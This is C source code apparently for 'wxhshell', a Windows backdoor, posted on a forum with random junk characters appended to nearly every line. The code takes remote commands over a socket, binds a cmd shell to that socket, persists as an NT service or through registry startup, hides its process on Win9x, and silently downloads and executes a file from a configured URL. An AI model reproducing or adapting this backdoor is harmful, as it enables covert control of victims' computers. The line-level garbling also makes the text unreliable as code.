    switch(cmd[0]) { ~4o2!!^tI  
  hKb-l`KO  
  // 帮助 O3#4B!J$E  
  case '?': { xd\k;nq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +\G/j]3f  
    break; zzi%r=%r&  
  } {:c*-+?  
  // 安装 > Zo_-,  
  case 'i': { |cL'4I>b9  
    if(Install()) cYyv iR59#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); } pE<P;\]k  
    else zC6,m6Dv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jdV  E/5  
    break; aoQK.7  
    } Qjh5m5e  
  // 卸载 {E!ie{~  
  case 'r': { ~p<o":k+Lv  
    if(Uninstall()) =mYY8c Yl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'E+Ty(ED5  
    else D1t@Y.vl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j[Uul#  
    break; )~;=0O |X  
    } =7ul,  
  // 显示 wxhshell 所在路径 l)GV&V  
  case 'p': { .T?9-`I9  
    char svExeFile[MAX_PATH]; ?UnOi1"v9  
    strcpy(svExeFile,"\n\r"); =Y>_b 2  
      strcat(svExeFile,ExeFile); #+V-65v  
        send(wsh,svExeFile,strlen(svExeFile),0); .ICGGC`O  
    break; J_]?.V*A  
    } w+ gA3Dg  
  // 重启 AB40WCu]*  
  case 'b': { 6j@3C`Yd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =8[4gM+  
    if(Boot(REBOOT)) @x?7J@:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rok` }t  
    else { p< Emy%  
    closesocket(wsh); msOk~ZPE6\  
    ExitThread(0); +xMK.*H]W  
    } G\&4_MS  
    break; UbKdB  
    } (( F[]<?  
  // 关机 _P.+[RS@  
  case 'd': { ykc$B5*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;o }pRC  
    if(Boot(SHUTDOWN)) vQ"EI1=7Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q.Uyl:^PxU  
    else { [xq"[*Evv  
    closesocket(wsh); q\*",xZxwz  
    ExitThread(0); /M(FuV  
    } Q`}1 B   
    break; k]W~_  
    } "mr;!"LA  
  // 获取shell c<)C3v  
  case 's': { bSsX)wHm  
    CmdShell(wsh); VE1 B"s</  
    closesocket(wsh); =FUORj\O  
    ExitThread(0); :[P>e ox  
    break; 1"ko wp  
  } \tE2@  
  // 退出 v[WbQ5AND  
  case 'x': { 7@al)G;~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QWG?^T fi  
    CloseIt(wsh); uCuXY#R+  
    break; tgEXX-{  
    } 10xo<@l  
  // 离开 C^I  h"S  
  case 'q': { uSp=,2)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <Okk;rj2  
    closesocket(wsh); m@  b~  
    WSACleanup(); e{@TR x  
    exit(1); u|h>z|4lJj  
    break; K~8;wDN`b  
        } yEL^Y'x?  
  }  4KF 1vw  
  } e!wBNcG2  
7RNf)nz  
  // 提示信息 Cc^`M9dP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s8iJl+Jm  
} 2^N 4(  
  } J/Ki]T9  
/Y|oDfv  
  return; 6'd=% V  
} c!"&E\F  
A8Q1x/d(  
// shell模块句柄 13(JW  
int CmdShell(SOCKET sock) aR30wxW&)  
{ eKV^ia  
STARTUPINFO si; Z{nJ\`  
ZeroMemory(&si,sizeof(si)); H@Dj$U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vB(tpki|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (5S(CYls  
PROCESS_INFORMATION ProcessInfo; TGx:#x*k  
char cmdline[]="cmd"; biFy*+|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %9hzz5#  
  return 0; KrN#>do&<  
} %Z?2 .)  
OpeK-K  
// 自身启动模式 >en,MT|  
int StartFromService(void) `ZL~k  
{ .z7%74p  
typedef struct @WVpDhG  
{ {~7V A  
  DWORD ExitStatus; )HWf`;VQ  
  DWORD PebBaseAddress; M;*f(JY$  
  DWORD AffinityMask; 7+';&2M)n~  
  DWORD BasePriority; ]F kLtq  
  ULONG UniqueProcessId; .zf#S0y%(  
  ULONG InheritedFromUniqueProcessId; !IlsKMZ  
}   PROCESS_BASIC_INFORMATION; 8+m;zvDSU  
& xOEp  
PROCNTQSIP NtQueryInformationProcess; tpp. 9  
1?s]nU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D4WvRxki  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Yg@k +  
3>%oGbo  
  HANDLE             hProcess; )Cl!,m)~  
  PROCESS_BASIC_INFORMATION pbi; t.Hte/,k  
>g8H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p%A s6.  
  if(NULL == hInst ) return 0; `0a=A#]1o  
wRu+:<o^.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); & yFS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hd*bPj ;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -m*IpDi  
2uw1R;zw  
  if (!NtQueryInformationProcess) return 0; 3B|?{U~  
;`<uo$R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3_k.`s_Z  
  if(!hProcess) return 0; NUH;\*]8s  
Yg_;Eu0'?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U_!Wg|  
e@[9WnxYe  
  CloseHandle(hProcess); *3 .+19Q  
ZZ/F}9!=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /.!ytHw8  
if(hProcess==NULL) return 0; 6^ UQ{P1;  
Qu4Bd|`(k  
HMODULE hMod; {.=4;   
char procName[255]; a(>oQG8F  
unsigned long cbNeeded; $RA8U:Q!1e  
.ET@J`"M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ubtu?wRBW  
^id9_RU   
  CloseHandle(hProcess); V'[Lqe,y  
uA]Z"  
if(strstr(procName,"services")) return 1; // 以服务启动 aH6{_eY  
Jo%5NXts4  
  return 0; // 注册表启动 y U"pU>fV@  
} ry bs9:_}  
o/ Z  
// 主模块 ,khB*h14;h  
int StartWxhshell(LPSTR lpCmdLine) <\i}zoPO  
{ ,l}mCY  
  SOCKET wsl; Z)=S. )  
BOOL val=TRUE; M=vRy|TL  
  int port=0; a%R'x]  
  struct sockaddr_in door; 3{wr*L1%-~  
x4@v$phyH  
  if(wscfg.ws_autoins) Install(); _^{!`*S  
/F#_~9JXG  
port=atoi(lpCmdLine); 7S"W7O1>  
(sX=#<B%  
if(port<=0) port=wscfg.ws_port; X}XTEk3[  
3=r#=u5z  
  WSADATA data; %Ot2bhK;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G's >0  
d1&RK2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0#K?SuY.eN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tG1,AkyZ  
  door.sin_family = AF_INET; ?9jl8r>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WJCh{Xn%*  
  door.sin_port = htons(port); \_H-TbU8  
kJ^)7_3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )C \ %R  
closesocket(wsl); iR k.t=B  
return 1; 0MV^-M   
} y]1:IJL2;  
vn5X]U"  
  if(listen(wsl,2) == INVALID_SOCKET) { 6Xu^ cbD  
closesocket(wsl); Dm=d   
return 1; 0I|IL]JL  
} 8#NI`s*  
  Wxhshell(wsl); {Pi+VuLE  
  WSACleanup(); P F#X8+&J  
V1aWVLltj  
return 0; 2.Kbj^  
\W"N{N  
} l`#XB:#U  
PQ}q5?N  
// 以NT服务方式启动 K|"97{*|2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^F5Q(A  
{ YX||\  
DWORD   status = 0; XaFu(Xu7  
  DWORD   specificError = 0xfffffff; S4n ~wo  
6 [q<%wA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T6 K?Xr{_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1J(` kQ)c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u!NY@$Wc  
  serviceStatus.dwWin32ExitCode     = 0; wi{qN___  
  serviceStatus.dwServiceSpecificExitCode = 0; pn},ovR;  
  serviceStatus.dwCheckPoint       = 0; `RRC8]l  
  serviceStatus.dwWaitHint       = 0; qu}`;\9@ld  
3*N-@;[>b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1M%'Xe7  
  if (hServiceStatusHandle==0) return; {9yv3[f3  
jzRfD3_s  
status = GetLastError(); Pfy2PpA  
  if (status!=NO_ERROR) zli@XZ#  
{ -2)6QKh~D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; } Mh@%2$  
    serviceStatus.dwCheckPoint       = 0; BhO*Pfs  
    serviceStatus.dwWaitHint       = 0; _;o)MTw|'  
    serviceStatus.dwWin32ExitCode     = status; 7=$@bHEF#*  
    serviceStatus.dwServiceSpecificExitCode = specificError; iX 3Y:   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <W,M?r+  
    return; 'X()|{  
  } i{#5=np H  
HnDz4eD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \v7->Sy8  
  serviceStatus.dwCheckPoint       = 0; p2v+sWO  
  serviceStatus.dwWaitHint       = 0; i)vbmV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -vRZCIj!  
} `s0`kp  
"OIra2O  
// 处理NT服务事件,比如:启动、停止 J(k\Pz*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) })I_@\q  
{ f)~j'e  
switch(fdwControl) sj"zgE)  
{ hKZ<PwBi  
case SERVICE_CONTROL_STOP:  73:y&U  
  serviceStatus.dwWin32ExitCode = 0; .7h:/d Y:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 17-D\ +}  
  serviceStatus.dwCheckPoint   = 0; [Pn(d[$z  
  serviceStatus.dwWaitHint     = 0; 8uj;RG  
  { <Cbah%X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 29W~<E8K-  
  } aP#nK  
  return; /-in:gX8  
case SERVICE_CONTROL_PAUSE: j_3X 1w)k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cip"9|"  
  break; D*!UB5<>/t  
case SERVICE_CONTROL_CONTINUE: x#_\b-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -y@# ^SrJ  
  break; B)q 5m y  
case SERVICE_CONTROL_INTERROGATE: j %3wD2 l  
  break; E%B:6  
}; _LVi}mM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ws^ 7J/8  
} nfL-E:n=  
SxAZ2|/-  
// 标准应用程序主函数 !foiGZ3g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~>j5z&:&  
{ z0yPBt1W  
" R=,W{=  
// 获取操作系统版本 v;%>F)I  
OsIsNt=GetOsVer(); | Ns-l (l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rw9m+q  
(IE\}QcK  
  // 从命令行安装 lhp.zl  
  if(strpbrk(lpCmdLine,"iI")) Install(); =>y%Aj&4  
Vo G`@^s  
  // 下载执行文件  qHU=X"rn  
if(wscfg.ws_downexe) { E8`AU<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R6xJw2;_  
  WinExec(wscfg.ws_filenam,SW_HIDE); @(b;H0r~  
} x_X%| f  
ees^j4  
if(!OsIsNt) { 9fj8r3 F#  
// 如果时win9x,隐藏进程并且设置为注册表启动 q'% cVM  
HideProc(); a7Xa3 vlpO  
StartWxhshell(lpCmdLine); H N )@sLPc  
} @v:p)|Ne;  
else kuQ+MQHs  
  if(StartFromService()) ?'jRUfl   
  // 以服务方式启动 UA%tI2  
  StartServiceCtrlDispatcher(DispatchTable); :S_3(/} \  
else ML)5nJD  
  // 普通方式启动 s|q]11r+H  
  StartWxhshell(lpCmdLine); zCuN 8  
JKJ+RkXf3  
return 0; u3VSS4RG%  
}
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只看该作者 1 发表于: 2006-10-10
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